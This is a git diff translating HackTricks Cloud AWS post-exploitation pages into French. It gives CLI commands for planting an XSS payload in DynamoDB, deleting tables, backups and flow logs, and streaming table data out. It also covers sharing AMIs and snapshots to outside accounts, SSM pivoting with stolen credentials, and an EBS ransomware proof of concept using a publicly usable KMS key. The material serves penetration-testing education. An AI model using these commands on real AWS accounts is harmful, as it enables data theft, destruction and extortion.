-**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
+**Impact potentiel :** Exploitation de vulnérabilités/bypasses supplémentaires en étant capable d'ajouter/modifier des données dans une table DynamoDB
 
 ### `dynamodb:UpdateItem`
 
-This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression.
+Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle ne **remplace pas** l'élément entier ; elle met seulement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs spécifiés dans l'expression de mise à jour.
 
 {{#tabs }}
-{{#tab name="XSS Example" }}
-
+{{#tab name="Exemple XSS" }}
 ```bash
 ## Update item with XSS payload
 aws dynamodb update-item --table <table_name> \
-    --key file://key.json --update-expression "SET Description = :value" \
-    --expression-attribute-values file://val.json
+--key file://key.json --update-expression "SET Description = :value" \
+--expression-attribute-values file://val.json
 ### With key.json:
 {
-    "Id": {
-        "S": "1000"
-    }
+"Id": {
+"S": "1000"
+}
 }
 ### and val.json
 {
-    ":value": {
-        "S": "<script>alert(1)</script>"
-    }
+":value": {
+"S": "<script>alert(1)</script>"
+}
 }
 ```
-
 {{#endtab }}
 
-{{#tab name="AI Example" }}
-
+{{#tab name="Exemple IA" }}
 ```bash
 aws dynamodb update-item \
-    --table-name ExampleTable \
-    --key '{"Id": {"S": "1"}}' \
-    --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
-    --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
-    --region <region>
+--table-name ExampleTable \
+--key '{"Id": {"S": "1"}}' \
+--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
+--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
+--region <region>
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
+**Impact potentiel :** Exploitation de vulnérabilités/bypasses supplémentaires en étant capable d'ajouter/modifier des données dans une table DynamoDB
 
 ### `dynamodb:DeleteTable`
 
-An attacker with this permission can **delete a DynamoDB table, causing data loss**.
-
+Un attaquant avec cette permission peut **supprimer une table DynamoDB, entraînant une perte de données**.
 ```bash
 aws dynamodb delete-table \
-    --table-name TargetTable \
-    --region <region>
+--table-name TargetTable \
+--region <region>
 ```
-
-**Potential impact**: Data loss and disruption of services relying on the deleted table.
+**Impact potentiel** : Perte de données et interruption des services dépendant de la table supprimée.
 
 ### `dynamodb:DeleteBackup`
 
-An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**.
-
+Un attaquant disposant de cette autorisation peut **supprimer une sauvegarde DynamoDB, ce qui peut entraîner une perte de données en cas de scénario de récupération après sinistre**.
 ```bash
 aws dynamodb delete-backup \
-    --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
-    --region <region>
+--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
+--region <region>
 ```
-
-**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario.
+**Impact potentiel** : Perte de données et incapacité à récupérer à partir d'une sauvegarde lors d'un scénario de récupération après sinistre.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
-> TODO: Test if this actually works
+> TODO: Tester si cela fonctionne réellement
 
-An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage.
-
-1. Enable a stream on a DynamoDB table:
+Un attaquant avec ces autorisations peut **activer un flux sur une table DynamoDB, mettre à jour la table pour commencer à diffuser des modifications, puis accéder au flux pour surveiller les modifications de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrer les modifications de données, ce qui peut entraîner une fuite de données.
 
+1. Activer un flux sur une table DynamoDB :
 ```bash
 bashCopy codeaws dynamodb update-table \
-    --table-name TargetTable \
-    --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
-    --region <region>
+--table-name TargetTable \
+--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
+--region <region>
 ```
-
-2. Describe the stream to obtain the ARN and other details:
-
+2. Décrivez le flux pour obtenir l'ARN et d'autres détails :
 ```bash
 bashCopy codeaws dynamodb describe-stream \
-    --table-name TargetTable \
-    --region <region>
+--table-name TargetTable \
+--region <region>
 ```
-
-3. Get the shard iterator using the stream ARN:
-
+3. Obtenez l'itérateur de fragment en utilisant l'ARN du flux :
 ```bash
 bashCopy codeaws dynamodbstreams get-shard-iterator \
-    --stream-arn <stream_arn> \
-    --shard-id <shard_id> \
-    --shard-iterator-type LATEST \
-    --region <region>
+--stream-arn <stream_arn> \
+--shard-id <shard_id> \
+--shard-iterator-type LATEST \
+--region <region>
 ```
-
-4. Use the shard iterator to access and exfiltrate data from the stream:
-
+4. Utilisez l'itérateur de fragment pour accéder et exfiltrer des données du flux :
 ```bash
 bashCopy codeaws dynamodbstreams get-records \
-    --shard-iterator <shard_iterator> \
-    --region <region>
+--shard-iterator <shard_iterator> \
+--region <region>
 ```
-
-**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes.
+**Impact potentiel** : Surveillance en temps réel et fuite de données des modifications de la table DynamoDB.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 9ae6a0a4f..719be5437 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -4,27 +4,26 @@
 
 ## EC2 & VPC
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Miroir VPC Malveillant -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\
-An attacker could abuse this to capture all the traffic and obtain sensitive information from it:
+Le mirroring de trafic VPC **duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC** sans avoir besoin d'installer quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué serait généralement envoyé à quelque chose comme un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.\
+Un attaquant pourrait en abuser pour capturer tout le trafic et obtenir des informations sensibles à partir de celui-ci :
 
-For more information check this page:
+Pour plus d'informations, consultez cette page :
 
 {{#ref}}
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### Copy Running Instance
-
-Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
+### Copier une Instance en Cours d'Exécution
 
+Les instances contiennent généralement une sorte d'informations sensibles. Il existe différentes façons d'y accéder (voir [trucs d'escalade de privilèges EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Cependant, une autre façon de vérifier ce qu'elle contient est de **créer une AMI et de lancer une nouvelle instance (même dans votre propre compte) à partir de celle-ci** :
 ```shell
 # List instances
 aws ec2 describe-images
@@ -48,11 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
 aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
 ```
-
 ### EBS Snapshot dump
 
-**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
-If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
+**Les instantanés sont des sauvegardes de volumes**, qui contiendront généralement **des informations sensibles**, donc les vérifier devrait révéler ces informations.\
+Si vous trouvez un **volume sans instantané**, vous pourriez : **Créer un instantané** et effectuer les actions suivantes ou simplement **le monter dans une instance** à l'intérieur du compte :
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
@@ -62,197 +60,179 @@ aws-ebs-snapshot-dump.md
 
 #### DNS Exfiltration
 
-Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
+Même si vous verrouillez un EC2 pour qu'aucun trafic ne puisse sortir, il peut toujours **exfiltrer via DNS**.
 
-- **VPC Flow Logs will not record this**.
-- You have no access to AWS DNS logs.
-- Disable this by setting "enableDnsSupport" to false with:
+- **Les journaux de flux VPC ne l'enregistreront pas**.
+- Vous n'avez pas accès aux journaux DNS d'AWS.
+- Désactivez cela en définissant "enableDnsSupport" sur false avec :
 
-  `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
+`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
 #### Exfiltration via API calls
 
-An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
+Un attaquant pourrait appeler des points de terminaison API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les journaux Cloudtrail.
 
 ### Open Security Group
 
-You could get further access to network services by opening ports like this:
-
+Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci :
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
-
 ### Privesc to ECS
 
-It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
+Il est possible de faire fonctionner une instance EC2 et de l'enregistrer pour être utilisée pour exécuter des instances ECS, puis de voler les données des instances ECS.
 
-For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
-
-### Remove VPC flow logs
+Pour [**plus d'informations, consultez ceci**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
 
+### Supprimer les journaux de flux VPC
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
-
 ### SSM Port Forwarding
 
-Required permissions:
+Permissions requises :
 
 - `ssm:StartSession`
 
-In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs.
-One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster.
+En plus de l'exécution de commandes, SSM permet le tunneling de trafic qui peut être abusé pour pivoter à partir d'instances EC2 qui n'ont pas d'accès réseau en raison des groupes de sécurité ou des NACL.
+Un des scénarios où cela est utile est le pivotement d'un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un cluster EKS privé.
 
-> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
-
-1. Install the SessionManagerPlugin on your machine
-2. Log in to the Bastion EC2 using the following command:
+> Pour commencer une session, vous devez avoir le SessionManagerPlugin installé : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
+1. Installez le SessionManagerPlugin sur votre machine
+2. Connectez-vous à l'EC2 Bastion en utilisant la commande suivante :
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-
-3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script
-4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile
-5. Log in to EKS as the Bastion EC2:
-
+3. Obtenez les identifiants temporaires Bastion EC2 AWS avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)  
+4. Transférez les identifiants vers votre propre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]`  
+5. Connectez-vous à EKS en tant que Bastion EC2 :
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-
-6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost`
-7. Create an SSM tunnel as follows:
-
+6. Mettez à jour le champ `server` dans le fichier `$HOME/.kube/config` pour pointer vers `https://localhost`  
+7. Créez un tunnel SSM comme suit :
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-
-8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running:
-
+8. Le trafic de l'outil `kubectl` est maintenant acheminé à travers le tunnel SSM via le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant :
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
+Notez que les connexions SSL échoueront à moins que vous ne définissiez le drapeau `--insecure-skip-tls-verify` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelé à travers le tunnel SSM sécurisé d'AWS, vous êtes à l'abri de tout type d'attaques MitM.
 
-Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
-
-Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
-
-### Share AMI
+Enfin, cette technique n'est pas spécifique à l'attaque des clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers tout autre service AWS ou une application personnalisée.
 
+### Partager AMI
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
+### Rechercher des informations sensibles dans les AMIs publiques et privées
 
-### Search sensitive information in public and private AMIs
-
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data.
-
-### Share EBS Snapshot
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de données sensibles potentielles.
 
+### Partager un instantané EBS
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-
 ### EBS Ransomware PoC
 
-A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it.
-
-First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'
+Une preuve de concept similaire à la démonstration de ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service avec la facilité d'utilisation pour chiffrer divers services AWS.
 
+Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le client dans KMS. Pour cet exemple, nous allons simplement laisser AWS gérer les données de la clé pour moi, mais dans un scénario réaliste, un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la politique de clé pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette politique de clé, le nom du compte était 'AttackSim' et la règle de politique permettant tout accès s'appelle 'Outside Encryption'
 ```
 {
-    "Version": "2012-10-17",
-    "Id": "key-consolepolicy-3",
-    "Statement": [
-        {
-            "Sid": "Enable IAM User Permissions",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::[Your AWS Account Id]:root"
-            },
-            "Action": "kms:*",
-            "Resource": "*"
-        },
-        {
-            "Sid": "Allow access for Key Administrators",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
-            },
-            "Action": [
-                "kms:Create*",
-                "kms:Describe*",
-                "kms:Enable*",
-                "kms:List*",
-                "kms:Put*",
-                "kms:Update*",
-                "kms:Revoke*",
-                "kms:Disable*",
-                "kms:Get*",
-                "kms:Delete*",
-                "kms:TagResource",
-                "kms:UntagResource",
-                "kms:ScheduleKeyDeletion",
-                "kms:CancelKeyDeletion"
-            ],
-            "Resource": "*"
-        },
-        {
-            "Sid": "Allow use of the key",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
-            },
-            "Action": [
-                "kms:Encrypt",
-                "kms:Decrypt",
-                "kms:ReEncrypt*",
-                "kms:GenerateDataKey*",
-                "kms:DescribeKey"
-            ],
-            "Resource": "*"
-        },
-        {
-            "Sid": "Outside Encryption",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "*"
-            },
-            "Action": [
-                "kms:Encrypt",
-                "kms:Decrypt",
-                "kms:ReEncrypt*",
-                "kms:GenerateDataKey*",
-                "kms:DescribeKey",
-                "kms:GenerateDataKeyWithoutPlainText",
-                "kms:CreateGrant"
-            ],
-            "Resource": "*"
-        },
-        {
-            "Sid": "Allow attachment of persistent resources",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
-            },
-            "Action": [
-                "kms:CreateGrant",
-                "kms:ListGrants",
-                "kms:RevokeGrant"
-            ],
-            "Resource": "*",
-            "Condition": {
-                "Bool": {
-                    "kms:GrantIsForAWSResource": "true"
-                }
-            }
-        }
-    ]
+"Version": "2012-10-17",
+"Id": "key-consolepolicy-3",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+},
+{
+"Sid": "Allow access for Key Administrators",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
+},
+"Action": [
+"kms:Create*",
+"kms:Describe*",
+"kms:Enable*",
+"kms:List*",
+"kms:Put*",
+"kms:Update*",
+"kms:Revoke*",
+"kms:Disable*",
+"kms:Get*",
+"kms:Delete*",
+"kms:TagResource",
+"kms:UntagResource",
+"kms:ScheduleKeyDeletion",
+"kms:CancelKeyDeletion"
+],
+"Resource": "*"
+},
+{
+"Sid": "Allow use of the key",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
+},
+"Action": [
+"kms:Encrypt",
+"kms:Decrypt",
+"kms:ReEncrypt*",
+"kms:GenerateDataKey*",
+"kms:DescribeKey"
+],
+"Resource": "*"
+},
+{
+"Sid": "Outside Encryption",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"kms:Encrypt",
+"kms:Decrypt",
+"kms:ReEncrypt*",
+"kms:GenerateDataKey*",
+"kms:DescribeKey",
+"kms:GenerateDataKeyWithoutPlainText",
+"kms:CreateGrant"
+],
+"Resource": "*"
+},
+{
+"Sid": "Allow attachment of persistent resources",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
+},
+"Action": [
+"kms:CreateGrant",
+"kms:ListGrants",
+"kms:RevokeGrant"
+],
+"Resource": "*",
+"Condition": {
+"Bool": {
+"kms:GrantIsForAWSResource": "true"
+}
+}
+}
+]
 }
 ```
-
-The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
+La règle de politique de clé doit avoir les éléments suivants activés pour permettre son utilisation pour chiffrer un volume EBS :
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -260,222 +240,214 @@ The key policy rule needs the following enabled to allow for the ability to use
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
+Maintenant avec la clé accessible publiquement à utiliser. Nous pouvons utiliser un compte 'victime' qui a quelques instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victime' sont ce que nous ciblons pour le chiffrement, cette attaque est sous l'hypothèse d'une violation d'un compte AWS à privilèges élevés.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Semblable à l'exemple de ransomware S3. Cette attaque créera des copies des volumes EBS attachés en utilisant des instantanés, utilisera la clé disponible publiquement du compte 'attaquant' pour chiffrer les nouveaux volumes EBS, puis détachera les volumes EBS originaux des instances EC2 et les supprimera, et enfin supprimera les instantanés utilisés pour créer les nouveaux volumes EBS chiffrés. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-This results in only encrypted EBS volumes left available in the account.
+Cela laisse uniquement des volumes EBS chiffrés disponibles dans le compte.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
+Il convient également de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes non chiffrés d'origine sont maintenant disparus.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
-
+Ensuite, retournez à la politique de clé dans le compte 'attaquant' et supprimez la règle de politique 'Outside Encryption' de la politique de clé.
 ```json
 {
-  "Version": "2012-10-17",
-  "Id": "key-consolepolicy-3",
-  "Statement": [
-    {
-      "Sid": "Enable IAM User Permissions",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::[Your AWS Account Id]:root"
-      },
-      "Action": "kms:*",
-      "Resource": "*"
-    },
-    {
-      "Sid": "Allow access for Key Administrators",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
-      },
-      "Action": [
-        "kms:Create*",
-        "kms:Describe*",
-        "kms:Enable*",
-        "kms:List*",
-        "kms:Put*",
-        "kms:Update*",
-        "kms:Revoke*",
-        "kms:Disable*",
-        "kms:Get*",
-        "kms:Delete*",
-        "kms:TagResource",
-        "kms:UntagResource",
-        "kms:ScheduleKeyDeletion",
-        "kms:CancelKeyDeletion"
-      ],
-      "Resource": "*"
-    },
-    {
-      "Sid": "Allow use of the key",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
-      },
-      "Action": [
-        "kms:Encrypt",
-        "kms:Decrypt",
-        "kms:ReEncrypt*",
-        "kms:GenerateDataKey*",
-        "kms:DescribeKey"
-      ],
-      "Resource": "*"
-    },
-    {
-      "Sid": "Allow attachment of persistent resources",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
-      },
-      "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
-      "Resource": "*",
-      "Condition": {
-        "Bool": {
-          "kms:GrantIsForAWSResource": "true"
-        }
-      }
-    }
-  ]
+"Version": "2012-10-17",
+"Id": "key-consolepolicy-3",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+},
+{
+"Sid": "Allow access for Key Administrators",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
+},
+"Action": [
+"kms:Create*",
+"kms:Describe*",
+"kms:Enable*",
+"kms:List*",
+"kms:Put*",
+"kms:Update*",
+"kms:Revoke*",
+"kms:Disable*",
+"kms:Get*",
+"kms:Delete*",
+"kms:TagResource",
+"kms:UntagResource",
+"kms:ScheduleKeyDeletion",
+"kms:CancelKeyDeletion"
+],
+"Resource": "*"
+},
+{
+"Sid": "Allow use of the key",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
+},
+"Action": [
+"kms:Encrypt",
+"kms:Decrypt",
+"kms:ReEncrypt*",
+"kms:GenerateDataKey*",
+"kms:DescribeKey"
+],
+"Resource": "*"
+},
+{
+"Sid": "Allow attachment of persistent resources",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
+},
+"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
+"Resource": "*",
+"Condition": {
+"Bool": {
+"kms:GrantIsForAWSResource": "true"
+}
+}
+}
+]
 }
 ```
-
-Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
+Attendez un moment que la nouvelle politique de clé se propage. Ensuite, retournez au compte 'victime' et essayez de joindre l'un des nouveaux volumes EBS chiffrés. Vous constaterez que vous pouvez attacher le volume.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
+Mais lorsque vous essayez de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et passera de l'état 'en attente' à l'état 'arrêté' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la clé puisque la politique de clé ne le permet plus.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.
-
